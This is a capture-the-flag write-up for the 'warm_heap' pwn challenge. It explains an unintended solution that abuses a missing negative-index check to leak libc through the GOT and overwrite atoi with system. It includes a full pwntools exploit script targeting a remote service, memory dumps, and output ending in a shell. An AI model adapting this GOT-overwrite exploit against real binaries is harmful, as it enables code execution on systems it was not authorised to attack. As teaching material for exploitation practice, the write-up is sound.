warm_heap
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
---------------------------
1) Add note
2) Edit note
3) Remove note
4) View note
5) Exit
>>
Just added this writeup to show an unintended solution for this challenge. At least the flag, you’ll get for solving the challenge points to using UAF for it, but there’s another (much shorter) way to do this.
When a note gets added, you can specify the size for the note, which will be stored in its own array.
---------------------------
1) Add note
2) Edit note
3) Remove note
4) View note
5) Exit
>> 1
Enter index: 0
Enter size: 100
Enter input: AAAA
1) Add note
2) Edit note
3) Remove note
4) View note
5) Exit
>> 1
Enter index: 3
Enter size: 200
Enter input: BBBB
This will resulting in the following data in the bss
0x6020c0 <sizes>: 0x0000000000000064 0x0000000000000000 <== Size of 0
0x6020d0 <sizes+16>: 0x0000000000000000 0x00000000000000c8 <== Size of 3
0x6020e0 <sizes+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <sizes+48>: 0x0000000000000000 0x0000000000000000
0x602100 <sizes+64>: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120 <table>: 0x0000000000acd010 0x0000000000000000 <== ptr to 0
0x602130 <table+16>: 0x0000000000000000 0x0000000000acd080 <== ptr to 3
0x602140 <table+32>: 0x0000000000000000 0x0000000000000000
0x602150 <table+48>: 0x0000000000000000 0x0000000000000000
0x602160 <table+64>: 0x0000000000000000 0x0000000000000000
Now, let’s take a look at the edit
function:
int edit()
{
printf("Enter index: ");
int idx = get_int();
if ( !verify(idx) )
return 1;
printf("Enter input: ");
get_inp(table[idx], sizes[idx]);
return 0;
}
int verify(signed int idx)
{
if ( idx <= 9 )
return 1;
puts("Invalid index");
return 0;
}
If you paid attention, you’ll might see, that the verify
function doesn’t check for negative indices. So we can access table
entries before the table entry itself.
Also we can specify arbitrary values for the sizes of an entry, so why not just create an entry with a size of 0x602020
(you see where we’re going?).
We can adjust the sizes of an entry, so that it results in an address of a got
entry. Then we’ll specify a negative value, so the size is used as a note address. Since the binary also uses the negative index
on the size array, it will also look before the size array (where the got table happens to be :)) and use an address (better said, the lower dword of the address) from the got
table as the size
for our memo.
Let’s do the basic skeleton and create two notes, with sizes 0x602020
and 0x602050
.
#!/usr/bin/python
from pwn import *
import sys
HOST = "35.227.33.93"
PORT = 9999
def add(idx, size, content):
r.sendline("1")
r.sendlineafter("index: ", str(idx))
r.sendlineafter("size: ", str(size))
r.sendlineafter("input: ", content)
r.recvuntil(">> ")
def edit(idx, content):
r.sendline("2")
r.sendlineafter("index: ", str(idx))
r.sendafter("input: ", content)
r.recvuntil(">> ")
def exploit(r):
log.info("Fill size array for leaking libc address")
add(0, 0x602020, "AAAA") # for libc leak
add(2, 0x602068, "AAAA") # for atoi overwrite
r.interactive()
return
if __name__ == "__main__":
e = ELF("./warm_heap")
libc = ELF("./libc.so.6")
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./warm_heap", env={"LD_PRELOAD": "./libc.so.6"})
print util.proc.pidof(r)
pause()
exploit(r)
This will change the data in the bss to
0x602000: 0x0000000000601e28 0x00007fd9265b5168 <== got table
0x602010: 0x00007fd9263a5870 0x0000000000400696
0x602020: 0x00007fd926033690 0x00000000004006b6
0x602030: 0x00007fd926019800 0x00000000004006d6
0x602040: 0x00007fd9260bb220 0x00007fd925fe4740
0x602050: 0x00007fd925ffaeb0 0x00007fd926048130
0x602060: 0x00007fd926033e70 0x00007fd925ffae80
0x602070: 0x0000000000400746 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x00007fd926389620 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0 <sizes>: 0x0000000000602020 0x0000000000000000 <== size of note 0 (=> puts got)
0x6020d0 <sizes+16>: 0x0000000000602050 0x0000000000000000 <== size of note 1 (=> atoll got)
0x6020e0 <sizes+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <sizes+48>: 0x0000000000000000 0x0000000000000000
0x602100 <sizes+64>: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120 <table>: 0x00007fd9259c1010 0x0000000000000000
0x602130 <table+16>: 0x00007fd9253be010 0x0000000000000000
0x602140 <table+32>: 0x0000000000000000 0x0000000000000000
0x602150 <table+48>: 0x0000000000000000 0x0000000000000000
0x602160 <table+64>: 0x0000000000000000 0x0000000000000000
So, now we have two valid and known addresses in the bss (though in the sizes
array).
Now, since we can specify negative indices, we can access the “note” in the first sizes
entry by passing -12
as the note index. The binary will then try to print the note at that address, which happens to be the got
entry for puts
.
LIBCLEAK = u64(view(-12).ljust(8, "\x00"))
libc.address = LIBCLEAK - libc.symbols["puts"]
log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC : %s" % hex(libc.address))
Since we now have successfully resolved libc, we can just use the same functionality to overwrite values in the got
entry. We just have to make sure, that it hits a good value as size
for our size
entry ?-)
The binary will search for the size at offset -0x60
to the current size slot.
That’s the reason, I put the second address into the third slot of the size
array. This will make it use the content of 0x602070
as size for read
. At 0x602070
is exit
got, which isn’t resolved by now, so it will always be 0x400746
and thus the read will succeed.
log.info("Overwrite atoi got with system")
edit(-10, p64(libc.symbols["system"])[:6])
Really? UAF? Instead of just overwriting atoi
got directly? :D
So, atoi
will be called to convert the selected menu entry to a number, so we just have to select the option /bin/sh
.
log.info("Select /bin/sh to trigger shell")
r.sendline("/bin/sh")
[*] '/vagrant/Challenges/inctf/pwn/warm_heap/warm_heap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/vagrant/Challenges/inctf/pwn/warm_heap/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './warm_heap': pid 1803
[1803]
[*] Paused (press any to continue)
[*] Fill size array for leaking libc address
[*] LIBC leak : 0x7fe97e452690
[*] LIBC : 0x7fe97e3e3000
[*] Fill size array for overwrite got entry
[*] Add chunk with size /bin/sh to trigger shell
[*] Switching to interactive mode
$ whoami
vagrant
Flag was inctf{U4f_f0r_l1f3_m8}
(the flag was a little confusing after this)